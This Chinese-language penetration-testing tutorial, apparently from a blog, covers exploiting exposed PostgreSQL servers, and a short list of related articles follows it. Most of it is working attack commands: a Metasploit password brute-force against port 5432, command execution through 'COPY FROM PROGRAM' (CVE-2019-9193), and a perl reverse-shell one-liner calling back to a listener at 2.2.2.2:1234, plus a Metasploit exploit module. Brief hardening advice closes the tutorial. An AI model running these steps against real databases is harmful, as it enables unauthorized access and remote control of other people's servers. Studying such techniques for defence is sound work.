PostgresSQL未授权导致命令执行

简介: PostgresSQL未授权导致命令执行

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。
当该服务配置不当开放到外网时可以被暴破密码,获得任意用户密码登录成功后使用(CVE-2019-9193)高权限命令执行即可反弹管理员shell
实战

1.使用nmap或者fofa发现该端口或者相关服务
图片

2.使用kali系统中msf渗透模型进行暴破用户密码。
msfconsole //进入msf工具
use auxiliary/scanner/postgres/postgres_login //进入暴破模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432 //添加目标端口
set user_file /home/taibai/1 //后面的路径是用户名字典
set pass_file /home/taibai/2 //后面的路径是密码字典
show options //查看相关配置信息
run //开始运行
image.png

破解成功后会有提示破解的用户密码
image.png

3.使用破解后的用户名密码登录

psql -h 1.1.1.1 -U postgres -W //连接后提示输入密码
image.png

4.使用(CVE-2019-9193)高权限命令执行漏洞执行命令
DROP TABLE IF EXISTS cmd_exec; //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id'; //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; //查看执行结果
image.png

image.png

image.png

5.使用nc反弹shell(注意需要公网ip地址)

//攻击机上执行
nc -vv -l -p 1234

//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';
6.如果上面不行可以直接使用msf中利用模块(注意需要公网ip地址)
set rhosts 1.1.1.1  //配置目标ip
set rport 5432   //配置目标端口
set username postgres  //配置目标用户名
set password 123456   //配置目标密码
set lhost 2.2.2.2   //配置反弹ip
set lport 1234   //配置反弹端口
show options  //查看配置
exp  //运行

图片

7.修复建议

升级最新稳定版本

配置端口白名单不要开放到外网

配置强密码

相关文章
|
9月前
|
SQL Windows
安装SQL Server 2005时出现对性能监视器计数器注册表值执行系统配置检查失败的解决办法...
安装SQL Server 2005时出现对性能监视器计数器注册表值执行系统配置检查失败的解决办法...
75 4
|
云安全 移动开发 安全
阿里云提示进程异常行为反弹SHELL 该怎么处理
相信有很多站长以及运营网站或APP的技术人员都有一些安全上的困扰,尤其是对网站代码里存在后门文件,以及服务器被植入木马病毒的安全问题很闹心,前段时间我们SINE安全接到客户的安全咨询,说是找的第三方开发公司做的APP和后台,运营了起来差不多3个月,一开始注册的会员量不是很多,当注册达到成千上万个会员注册量的时候,就相继出现了安全上的问题,数据库总是被篡改,会员信息泄露,以及被阿里云提示的云安全中心,安全事件提醒,尊敬的*玉:云盾云安全中心检测到您的服务器:47.180.*.*(主服务器)出现了紧急安全事件:自启动后门,建议您立即进行处理。进程异常行为-反弹Shell和异常网络连接
453 0
阿里云提示进程异常行为反弹SHELL 该怎么处理
|
Shell Linux 网络安全
大技霸教你远程执行Linux脚本和命令
如果现在需要在 Linux 服务器上执行一系列命令(比如搭建 LNMP 环境)我应该会第一时间想到想办法写个 Shell 脚本,然后扔上去执行以下看看结果。 然而一贯懒惰的我并不想这么去执行 Shell 和一些重复命令。所以俺寻思可以有个方法本地直接在服务器端执行脚本,寻思生异端,这时候有某大技霸告诉我有个叫 paramiko 的 Python 库,从此开启我新世界的大门。
300 0
大技霸教你远程执行Linux脚本和命令
|
运维 Apache 数据库
DO447管理任务执行--控制提权
DO447管理任务执行--控制提权
172 0
DO447管理任务执行--控制提权
|
MySQL 关系型数据库 数据库
记一次MySQL数据库拒绝访问的解决过程
记一次MySQL数据库拒绝访问的解决过程 最近在折腾wordpress博客,连接MySQL数据库时提示拒绝访问。经过排查,解决了问题。这里记录下解决问题的方案,以及解决的思路。如有遇到类似问题的读者可以参考下。
4423 0
|
Shell 网络安全 数据安全/隐私保护